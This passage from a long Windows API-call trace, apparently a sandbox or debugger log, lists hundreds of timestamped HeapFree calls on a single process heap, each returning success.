lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0189.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.751] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.772] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0190.078] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.093] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.093] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.304] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.304] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.304] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.306] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.308] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.309] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0190.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.366] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0190.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5410058 | out: hHeap=0x710000) returned 1 [0190.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5410058 | out: hHeap=0x710000) returned 1 [0190.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0190.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5410058 | out: hHeap=0x710000) returned 1 [0190.551] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0190.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.556] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.556] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.560] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.561] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.561] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.563] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.563] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.565] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.565] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0190.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5410058 | out: hHeap=0x710000) returned 1 [0190.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0190.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0190.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.096] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.097] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.097] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.099] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.100] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.101] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 